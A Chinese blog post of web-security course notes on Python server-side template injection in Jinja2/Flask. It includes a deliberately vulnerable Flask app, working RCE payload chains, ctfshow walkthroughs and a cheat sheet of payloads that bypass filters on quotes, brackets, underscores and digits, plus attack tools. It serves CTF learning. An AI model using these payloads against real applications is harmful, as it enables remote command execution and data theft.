文章目录
- 前记
- WEB攻防------第七十天
- 
- Python安全&SSTI模板注入&Jinja2引擎&利用绕过项目&黑盒检测
- 
- [Python - SSTI注入-类型&形成&利用](#Python - SSTI注入-类型&形成&利用)
- [Python - SSTI注入-演示&项目](#Python - SSTI注入-演示&项目)
 
 
前记
- 今天是学习小迪安全的第七十天,转眼一个月就过去了,真的很快,坚持看到这里的小伙伴,你们都是最棒的!相信只要坚持下去,都能成为网络安全领域的佼佼者!
- 本节课是Python安全的第一节课,主要内容是SSTI模板注入,讲了其原理、绕过思路以及利用工具
- 主要以实战为主,但也需要理解SSTI注入的攻击思路
WEB攻防------第七十天
Python安全&SSTI模板注入&Jinja2引擎&利用绕过项目&黑盒检测
Python - SSTI注入-类型&形成&利用
什么是SSTI
- SSTI(- Server Side Template Injection,服务器端模板注入)服务端接收攻击者的输入,将其作为 Web 应用模板内容的一部分
- 在进行目标编译渲染的过程中,使用了语句的拼接,执行了所插入的恶意内容
- 从而导致信息泄露、代码执行、GetShell等问题,其影响范围取决于模版引擎复杂性
- 注意:模板引擎和渲染函数本身是没有漏洞的,该漏洞产生原因在于模板可控引发代码注入
各语言框架SSTI

- PHP:smarty、twig...
- Python:jinja2、mako、tornado、Django...
- Java:Thymeleaf、jade、velocity、FreeMarker...
- 其他语言的常用模板框架如上图所示
常见魔术方法以及参数
            
            
              python
              
              
            
          
          1.__class__: 类的一个内置属性,表示实例对象的类。
2.__base__: 类型对象的直接基类
3.__bases__: 类型对象的全部基类,以元组形式,类型的实例通常没有属性 
4.__mro__: method resolution order,即解析方法调用的顺序;此属性是由类组成的元 组,在方法解析期间会基于它来查找基类。
5.__subclasses__(): 返回这个类的子类集合,每个类都保留一个对其直接子类的弱引用列表。该方法返回一个列表,其中包含所有仍然存在的引用。列表按照定义顺序排列。
6.__init__: 初始化类,返回的类型是function
7.__globals__: 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
8.__dic__: 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
9.__getattribute__(): 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
10.__getitem__(): 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
11.__builtins__: 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
12.__import__: 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
13.__str__(): 返回描写这个对象的字符串,可以理解成就是打印出来。
14.url_for: flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
15.get_flashed_messages: flask的一个方法,可以用于得到__builtins__,而且get_flashed_messages.__globals__['__builtins__']含有current_app。
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
16.current_app: 应用上下文,一个全局变量。
17.request: 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
18.request.args.x1: get传参
19.request.values.x1: 获取url中get传递参数
20.request.cookies: cookies参数
21.request.headers: 请求头参数
22.request.form.x1: post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
23.request.data: post传参 (Content-Type:a/b)
24.request.json: post传json (Content-Type: application/json)
25.config: 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g {{g}}得到<flask.g of 'flask_ssti'>- 上面这些是SSTI常用的参数或魔术方法,不需要全部记住,做个了解,用到的时候查一下即可
案例演示
- 这里我们主要研究的是Python语言的模板注入
- 形成SSTI注入的主要原因是在进行目标编译渲染的过程中,使用了语句的拼接,而传入的参数可控,导致了传入恶意代码执行
- 比如下面的代码:
            
            
              python
              
              
            
          
          from flask import Flask, request, render_template_string
from jinja2 import Template
 
app = Flask(__name__)
 
@app.route('/')
def index():
    name = request.args.get('name', default='xiaodi')
    t = '''
    <html>
        <h1>Hello %s</h1>
    </html>
    ''' % (name)
    # 将一段字符串作为模板进行渲染
    return render_template_string(t)
app.run()- 
这里直接运行这个代码,然后可以看到它渲染出来的一个结果: 
  
- 
正常来说从传入 name 参数值是什么就会渲染什么,但是有模板引擎解析符号,从而将符号内的东西进行执行 
- 
不同的模板引擎有不同的语法去执行一些表达式 ,比如这里用的jinja2就是用 {``{}}去解析表达式,因此我们输入{``{2*3}},他会将其视作表达式进行运算而不是字符串,得到的结果为6:
  
- 
此时如果结果回显为6,就说明它可能存在SSTI 
- 
一般SSTI都是配合RCE使用,既然要造成RCE,那么我们肯定就要得到它可以执行代码/系统命令的函数 
- 
Python中常见的命令执行函数是 os类中的popen方法,于是我们就想办法通过这里去拿到os类,然后构建对象调用popen方法执行任意命令
- 
而这里其实Python和Java有点类似,Java中所有的类都继承一个 Object类,Python中也有一个根类object,虽然有区别,但是在这里你只需要知道有这个东西就行了
- 
所以我们可以通过一个空字符串或者空列表 对象,调用 __class__魔术方法拿到这个对象的类,然后通过__base__方法拿到object类,紧接着通过__subclasses__()方法拿到object下面的所有子类,即调用下面的链:
            
            
              python
              
              
            
          
          {{''.__class__.__base__.__subclasses__()}}
- 
拿到它的所有子类之后,我们需要分析 os类的具体位置,这里可以将其丢到记事本当中:
  
- 
然后找到 os类所在的位置,注意这里记事本中是以1开头,而数组/列表索引是以0开头,因此它的实际位置是142(不同的环境这个位置是不同的!):
  
- 
所以我们就需要通过索引拿到这个 os类, 之后,我们要使用里面的方法需要构造一个对象出来,于是用到__init__魔术方法:
            
            
              python
              
              
            
          
          {{''.__class__.__base__.__subclasses__()[142].__init__}}- 这里我们要找到popen方法,所以可以通过__globals__获取__init__方法所在的全局命名空间字典,其中包含该方法定义时可见的所有全局变量和函数
            
            
              python
              
              
            
          
          {{''.__class__.__base__.__subclasses__()[142].__init__.__globals__}}
- 所以直接调用popen方法,然后传入我们想执行的命令即可:
            
            
              python
              
              
            
          
          {{''.__class__.__base__.__subclasses__()[142].__init__.__globals__.popen('calc')}}
- 这就是最典型的SSTI注入漏洞的利用方式
其他引用利用方式
- 除了上面那种最基础的利用方式外,还有一些其他的:
            
            
              python
              
              
            
          
          1. '':
   {{''.__class__.__base__.__subclasses__()[132].__init__.__globals__.popen('calc')}}
2. []: 
	{{[].__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('calc')}}
3. config:
	{{config.__class__.__init__.__globals__['os'].popen('calc')}}
4. url_for:
	{{url_for.__globals__.os.popen('calc')}}
5. lipsum:
   {{lipsum.__globals__['os'].popen('calc')}}
6. get_flashed_messages: 
   {{get_flashed_messages.__globals__['os'].popen('calc')}}- 根据不同的情况有不同的使用方式
Python - SSTI注入-演示&项目
案例演示
- Python的SSTI注入主要在CTF中见得比较多,这里就用ctfshow题目来演示遇到过滤如何绕过的情况
Web361(无过滤)
- 
提示了名字就是考点,那么就传入参数 name,正常回显,实战中这里可以测XSS,当然这里是SSTI
- 
我们首先需要判断是哪种模板渲染,一般是先判断Python,再判断其他语言,这里看具体是那个模板引擎可以使用 
  
- 
一般就是根据这张图来进行判断,当然也可以通过我们开头那张图去判断 
- 
这里判断过程就省略了,模板是jinja2,然后我们就直接使用刚才语法去玩呗,先判断 os类的位置:
            
            
              python
              
              
            
          
          {{''.__class__.__base__.__subclasses__()}}
- 
放到记事本中,发现 os类在132的位置:
  
- 
于是直接给出 payload,注意使用popen()需要使用read()方法才能读取文件内容:
            
            
              python
              
              
            
          
          {{''.__class__.__base__.__subclasses__()[132].__init__.__globals__.popen('tac /flag').read()}}
Web362(过滤数字)
- 
这里提示了有过滤,具体过滤什么,目前不清楚,那就先直接测试,遇到过滤了再逐个排查 
- 
先看 os的位置:
  
- 
这里正常回显,说明没有过滤,它在132这个位置,于是尝试 payload:
  
- 
这里被过滤了,那就说明我们后面出现的代码有问题,逐个尝试呗,先看能不能正常调用 os:
            
            
              python
              
              
            
          
          {{''.__class__.__base__.__subclasses__()[132]}}
- 
这里就说明可能是过滤了 [],也可能是过滤了某个数字,再依次尝试一遍发现过滤了数字2、3
- 
怎么办呢?不能用数字了,那我们就换种引用方式呗,比如上面的 config的payload,直接尝试:
  
- 
成功读取到flag,当然用其他几个都是一样的,只要不出现2、3即可 
Web363(过滤单双引号)
- 这里过滤的是单双引号,然后我们发现,上面的所有payload都有单引号啊,怎么办呢?
- 不知道你们还记不记得之前碰到SSRF过滤时用到了一个带外思路:
            
            
              php
              
              
            
          
          include $_GET[a]?>&a=data://text/plain,<?php system('ver');?>- 将参数的值也通过参数的形式传递进去,达到绕过的效果,那么这里也是一样,可以在需要传值的地方使用request.values.x、request.args.y的方式传值绕过单引号:
            
            
              python
              
              
            
          
          {{[].__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.x](request.args.y).read()}}&x=popen&y=cat%20/flag
Web364(过滤单双引号+args)
- 这关过滤了单双引号,以及关键字args,至于怎么发现的就不多说了
- 这里我们的绕过方式是在上一题的基础上使用request.values.x或者request.cookie.x都可以:
            
            
              python
              
              
            
          
          {{[].__class__.__base__.__subclasses__()[132].__init__.__globals__[request.values.x](request.values.y).read()}}&x=popen&y=cat%20/flag
Web365(过滤单双引号+中括号+args)
- 本题过滤了单双引号、中括号以及args关键字,那我们上面的payload中有不用中括号的:
            
            
              python
              
              
            
          
          {{url_for.__globals__.os.popen('calc')}}- 这里把传值改成上题的request.values.x即可:
            
            
              python
              
              
            
          
          {{url_for.__globals__.os.popen(request.values.x).read()}}&x=cat%20/flag
Web366(过滤单双引号+中括号+下划线+args)
- 本题过滤了单双引号、中括号、下划线以及args关键字,我们上面的payload除了魔术方法没有用到下划线的是:
            
            
              python
              
              
            
          
          1. {{config.__class__.__init__.__globals__['os'].popen('calc')}}
2. {{lipsum.__globals__['os'].popen('calc')}}- 那么
- 其实这里的一种思路就是全部通过request.values.x带出去,比如payload是这样:
            
            
              python
              
              
            
          
          {{lipsum.[request.values.x][request.values.y].popen(request.values.z).read()}}&x=__globals__&y=os&z=cat%20/flag- 但是很可惜,这里同时过滤了中括号,所以这种思路不行
- 于是我们有一种新的方法,是通过|attr()过滤器配合动态参数,比如这样:
            
            
              python
              
              
            
          
          ?name={{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag- 这里相当于是|attr(__globals__),通过字符串名称获取对象的属性,大概就是这么个意思,其实我也不是很懂
  
绕过总结
- 在黑盒测试中,可能会有各种各样的过滤 ,常见的有:
- 过滤特殊数字,一般为2、3
- 过滤单双引号
- 过滤中括号
- 过滤下划线
- 过滤点号
- 过滤某些关键字 => args、config、os、popen...
 
- 而这些我们都可以通过{``{}}去解析判断 :- {``{2 * 3}}=> 特殊数字
- {``{""}}=> 单双引号
- {``{()}}=> 括号
- {``{[]}}=> 中括号
- {``{_}}=> 下划线
- {``{.}}=> 点号
- {``{args...}}=> 关键字
 
- 于是我们就有多种多样的方式和Payload去尝试绕过这些限制:
过滤数字
- 使用没有数字的payload,或者通过外带传入数字:
            
            
              python
              
              
            
          
          1. config:
	{{config.__class__.__init__.__globals__['os'].popen('calc')}} 
2. url_for:
   {{url_for.__globals__.os.popen('calc')}} 
3. lipsum:
   {{lipsum.__globals__['os'].popen('calc')}} 
4. get_flashed_messages:
   {{get_flashed_messages.__globals__['os'].popen('calc')}}过滤单双引号
- 通过外带传入参数绕过单双引号:
            
            
              python
              
              
            
          
          {{config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read()}}&a=os&b=cat /flag过滤指定字符
- 使用chr()函数或者平替,比如过滤了args关键字就使用其他相同效果的关键字:
            
            
              python
              
              
            
          
          {{config.__class__.__init__.__globals__[request.values.a].popen(request.values.b).read()}}&a=os&b=cat /flag过滤中括号
- 使用不带中括号的payload:
            
            
              python
              
              
            
          
          {{url_for.__globals__.os.popen(request.values.c).read()}}&c=cat /flag过滤下划线
- 使用|attr()函数:
            
            
              python
              
              
            
          
          {{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag其他
- 当然,除了这些还有很多,可以参考这篇文章:Python SSTI漏洞学习总结 - Tuzkizki - 博客园
项目工具
- 
一般黑盒测试或者CTF中基本是判断出来然后工具一把梭 
- 
这里有几个好用的项目: 
- 
然后还有个SSTI的靶场集合:Pav-ksd-pl/websitesVulnerableToSSTI 
- 
那我们可以直接使用这两款工具看一看刚刚的ctf题能不能一把梭出来: 
- 
fenjing直接使用命令或者网页端填写数据都可以(注意这里提示证书错误时换成http即可 ):
  
  
- 
也是成功拿到了flag 
- 
SSTImap也是进入文件夹使用命令即可:
  
  
- 
但是可以看到这个遇到严格一点的过滤它可能就测不出来了,因为它默认的 payload可能比较水,但是可以自定义payload使用
- 
如果是打ctf,并且模板引擎是 jinja2,使用fenjing即可;如果是其他的模板引擎,那么就自定义payload用SSTImap